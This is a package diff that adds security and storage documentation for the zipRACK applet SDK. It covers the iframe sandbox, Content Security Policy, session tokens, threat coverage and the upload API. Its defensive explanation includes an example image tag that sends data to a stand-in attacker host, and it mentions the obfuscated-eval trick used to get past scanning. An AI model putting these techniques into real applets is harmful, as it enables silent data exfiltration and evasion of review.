@ziprack/sdk 0.1.2 → 0.2.1

package/dist/docs/security.md

@@ -0,0 +1,153 @@
+# Security
+
+- [The Boundary](#the-boundary)
+- [The Sandbox](#the-sandbox)
+- [The Content Security Policy](#the-content-security-policy)
+- [Tokens and Sessions](#tokens-and-sessions)
+- [Threats the Boundary Does Not Cover](#threats-the-boundary-does-not-cover)
+- [Static Analysis](#static-analysis)
+
+<a name="the-boundary"></a>
+## The Boundary
+
+Two mechanisms do essentially all of the work: the iframe sandbox and the Content Security Policy.
+Everything else in zipRACK — declared capabilities, quotas, budgets, review queues — is defence in
+depth over those two.
+
+The reason to be strict about which is which: sandbox and CSP hold against a *hostile* applet. The
+declaration model holds against a *careless* one, and gives a reviewer something to read. Do not
+lean on the second where the first is what is needed.
+
+<a name="the-sandbox"></a>
+## The Sandbox
+
+```html
+<iframe sandbox="allow-scripts allow-forms allow-popups allow-popups-to-escape-sandbox"
+        allow="autoplay; fullscreen; picture-in-picture; encrypted-media; clipboard-write"
+        src="/ziprack/pkg/{token}/index.html"></iframe>
+```
+
+`allow-same-origin` is absent, and that absence is the whole design. The applet document has an
+opaque origin, which means:
+
+- No cookies, no `localStorage`, no `sessionStorage`, no `IndexedDB`.
+- No credentialed requests, and no useful requests to the Rack at all.
+- No access to the parent DOM.
+- Nested frames inherit the flags, so an embedded player is equally contained.
+
+Communication is `postMessage` only, and the host honours a message solely when `event.source` is
+the applet's `contentWindow`. Origin is never compared, because an opaque origin makes comparison
+meaningless — a detail worth understanding before anyone "fixes" it.
+
+### Extending the frame's permissions
+
+The `allow` list above is the fixed base. A deployment may add features an applet needs, such as
+`microphone` for one that records audio:
+
+```php
+'player' => [
+    'frame_allow' => ['microphone'],   // ZIPRACK_PLAYER_FRAME_ALLOW=microphone
+],
+```
+
+Only bare feature names from `FramePermissions::GRANTABLE` are accepted: `microphone`, `camera`,
+`display-capture`, `geolocation`, `clipboard-read`, `screen-wake-lock`, `web-share` and `midi`. An
+origin list (`*`, `microphone *`, `microphone 'self'`) or an unknown name is dropped, so every
+feature keeps the default `'src'` allowlist and reaches the applet's frame alone.
+`FramePermissions::violations()` reports refused entries, and `ziprack:status` fails on them.
+
+The setting is Rack-wide: every applet on the Rack is offered the feature, and the browser still
+prompts the participant before granting it.
+
+<a name="the-content-security-policy"></a>
+## The Content Security Policy
+
+Served with the applet's entry document. **Directives are fixed in the middleware**; a deployment may
+add approved hosts, never a bare scheme.
+
+| Directive | Value |
+|---|---|
+| `default-src` | `'self'` + Rack origin |
+| `script-src` | `'self'` + Rack origin, `'unsafe-inline' 'unsafe-eval' blob:` |
+| `style-src` | `'self'` + Rack origin, `'unsafe-inline'` + configured font CDNs |
+| `font-src` | `'self'` + Rack origin, `data:` + configured font CDNs |
+| `img-src` | `'self'` + Rack origin, `data: blob:` + deployment allowlist |
+| `media-src` | `'self'` + Rack origin, `blob:` + deployment allowlist |
+| `connect-src` | `'self'` + Rack origin |
+| `frame-src` | the allowlisted media providers' player hosts, else `'none'` |
+| `frame-ancestors`, `base-uri`, `form-action` | `'self'` |
+
+**Rack origin** is the exact origin of `app.url` (scheme, host, non-default port), e.g.
+`https://rack.example.com`. It is listed because the applet frame's origin is opaque: Chrome resolves
+`'self'` against the URL the document came from, but Safari resolves it against the opaque origin and
+matches nothing, blocking the applet's own bundle. `APP_URL` must therefore be the origin the Rack is
+actually served from.
+
+**Why `img-src` matters more than it looks.** A hostile applet can exfiltrate anything it holds with
+a single tag:
+
+```html
+<img src="https://evil.example/?d=…">
+```
+
+That request fires without touching any Rack surface, leaves no statement, and appears in no log the
+Rack controls. Tightening `img-src` and `media-src` to `'self' data: blob:` plus an explicit
+allowlist closes it, and costs nothing in capability, because applets already ship their own assets.
+It is the single highest-value security control in the framework.
+
+The config accepts hosts, and only hosts:
+
+```php
+'csp' => [
+    'img_hosts' => ['cdn.client.example'],     // ZIPRACK_CSP_IMG_HOSTS
+    'media_hosts' => [],
+],
+```
+
+`https:`, `http:`, `*`, `https://*` and anything containing a wildcard are rejected outright;
+`ContentSecurityPolicy::violations()` reports attempts, and `ziprack:status` surfaces them. A host
+without a scheme is normalised to `https://`.
+
+External media that genuinely must load from elsewhere routes through the Rack's `/cdn/...` proxy
+instead of loosening the policy.
+
+<a name="tokens-and-sessions"></a>
+## Tokens and Sessions
+
+- **Package asset token.** Applet files are served from `/ziprack/pkg/{token}/…` with a signed token
+  scoped to one version, expiring after `ziprack.asset_token_ttl_hours` (6). The extraction disk is
+  never publicly served.
+- **Launch session.** Capability calls go to `/ziprack/s/{session}/messages` with a token in the
+  path — no session cookie, no CSRF, stateless by design, rate limited, expiring after
+  `ziprack.session_ttl_hours` (6). The session is what binds a message to a participant, a version,
+  an attempt and a room; nothing in the payload can widen that scope.
+- **Signed file URLs.** `storage@1` hands out short-lived URLs, never object keys.
+- **Channel authentication.** The Rack signs its own WebSocket subscriptions. No token reaches the
+  frame.
+
+<a name="threats-the-boundary-does-not-cover"></a>
+## Threats the Boundary Does Not Cover
+
+**Credential phishing inside the frame.** An applet can render a convincing fake login form. The
+mitigations are persistent Rack chrome that cannot be spoofed from inside the frame, plus a stated
+and enforced policy: *applets never ask participants for credentials.* Treat a package that does as
+a publishing violation, not a bug.
+
+**LLM budget abuse.** An applet with `ai@1` can burn tokens. Budgets are hard caps enforced
+server-side at every layer — per prompt, per attempt, per participant, per applet per day, per Rack
+per month — never advisory numbers.
+
+**Record and storage flooding.** Per-scope quotas, declared in the manifest and capped by the
+deployment regardless of what the manifest asks for.
+
+**Supply chain.** The SBOM is self-attested. OSV findings catch negligence; the
+[capability diff](publishing.md#capability-diff-review) is what catches the realistic attack, which
+is a benign v1 followed by a quietly wider v2.
+
+<a name="static-analysis"></a>
+## Static Analysis
+
+AST scanning of shipped applet JavaScript was considered and **dropped**. Applets ship minified with
+mangled identifiers, and any check is defeated by trivial obfuscation — `window["ev"+"al"]` — so it
+would produce false confidence and a maintenance burden without raising the bar. The CSP does the
+work static analysis was being asked to do, and does it at runtime, where it cannot be evaded.

package/dist/docs/storage.md

@@ -0,0 +1,131 @@
+# Storage — `storage@1`
+
+- [Introduction](#introduction)
+- [Declaring Upload Slots](#declaring-upload-slots)
+- [Uploading](#uploading)
+- [Reading Files Back](#reading-files-back)
+- [Scanning](#scanning)
+- [Quotas and Limits](#quotas-and-limits)
+
+<a name="introduction"></a>
+## Introduction
+
+`storage@1` lets a participant put a file into the Rack: a photo, a drawing, a recorded reflection,
+a document. The applet never sees a bucket, a key or a presigned URL to anything but its own files,
+and a file is not addressable at all until a scanner has marked it clean.
+
+<a name="declaring-upload-slots"></a>
+## Declaring Upload Slots
+
+An **upload** is a named slot with a scope and a MIME allowlist. Files always belong to a slot.
+
+```json
+"uploads": [
+    { "name": "artifacts", "scope": "room",    "mime": ["image/png", "image/jpeg"], "max_bytes": 5242880, "max_files": 10 },
+    { "name": "reflection", "scope": "attempt", "mime": ["audio/*"],                 "max_bytes": 10485760 }
+]
+```
+
+| Field | Rules |
+|---|---|
+| `name` | Required. `^[a-z][a-z0-9_]*$`, max 40, unique. |
+| `scope` | Required. `attempt`, `user`, `room` or `applet`. Same meaning as [db scopes](database.md#scopes). |
+| `mime` | Required, at least one. `type/subtype` or `type/*`. |
+| `max_bytes` | Optional. Default 10 MB, ceiling 50 MB (`ziprack-storage.max_bytes_cap`). |
+| `max_files` | Optional. Default 20, ceiling 500. |
+
+`attempt` scope requires `attempt@1`; `room` scope requires `broadcast@1`.
+
+<a name="uploading"></a>
+## Uploading
+
+```ts
+input.addEventListener('change', async () => {
+    const file = input.files?.[0];
+    if (! file) return;
+
+    const result = await Rack.storage.put('artifacts', file, { caption: caption.value });
+
+    if (! result.ok) {
+        return showError(result.error === 'quota_exceeded'
+            ? 'That slot is full.'
+            : 'We could not accept that file.');
+    }
+
+    render(result.data.file);   // status is usually 'pending' at this point
+});
+```
+
+The `File` travels to the shell by structured clone and is re-sent as multipart to the Rack — it
+never becomes JSON, and it never leaves the frame as your own `fetch`. The ack timeout for
+`storage:put` is 120 s rather than the usual 5 s, because upload time is participant time.
+
+A stored file looks like:
+
+```ts
+interface StoredFile {
+    id: string;
+    upload: string;                                       // the slot name
+    name: string;
+    mime: string;
+    bytes: number;
+    status: 'pending' | 'clean' | 'infected' | 'failed';
+    created_at: string;
+}
+```
+
+<a name="reading-files-back"></a>
+## Reading Files Back
+
+```ts
+const { data } = await Rack.storage.list('artifacts');    // omit the slot for all of them
+
+const url = await Rack.storage.url(file.id);
+if (url.ok) img.src = url.data.url;                        // expires; refetch rather than cache
+
+await Rack.storage.delete(file.id);
+```
+
+`url()` returns a short-lived signed URL — 10 minutes by default
+(`ziprack-storage.url_ttl_minutes`) — and never an object key. Do not store it: request it when you
+are about to render, and request it again if the participant leaves the page open.
+
+`url()` on a file that is not yet `clean` fails. Render pending files as placeholders and refresh:
+
+```ts
+if (file.status === 'pending') {
+    setTimeout(async () => {
+        const again = await Rack.storage.list('artifacts');
+        // …look for this id, re-render when it turns clean
+    }, 2000);
+}
+```
+
+<a name="scanning"></a>
+## Scanning
+
+Uploads are scanned before they become addressable. The deployment picks the scanner:
+
+```
+ZIPRACK_SCANNER=clamav     # streams the file to clamd over TCP
+ZIPRACK_SCANNER=null       # development only: passes everything, marks clean
+```
+
+`php artisan ziprack:status` warns while a Rack is running the null scanner, and that warning should
+be taken seriously before a deployment accepts participant files from anyone.
+
+An `infected` file is never addressable, and the participant sees a failure rather than a mystery.
+
+<a name="quotas-and-limits"></a>
+## Quotas and Limits
+
+Enforced server-side, per slot and per scope, regardless of what the manifest asks for:
+
+- `max_bytes` per file, capped at 50 MB for the deployment.
+- `max_files` per scope, capped at 500.
+- The MIME allowlist. A file whose type is not in the slot's list is refused with `validation`,
+  which is not a substitute for setting `accept` on your `<input>` — do both, for the participant's
+  sake.
+
+Uploads count against the applet, so an applet declaring an unbounded-feeling slot in a long-running
+room is the realistic way to fill a disk. Declare the smallest slot that does the job.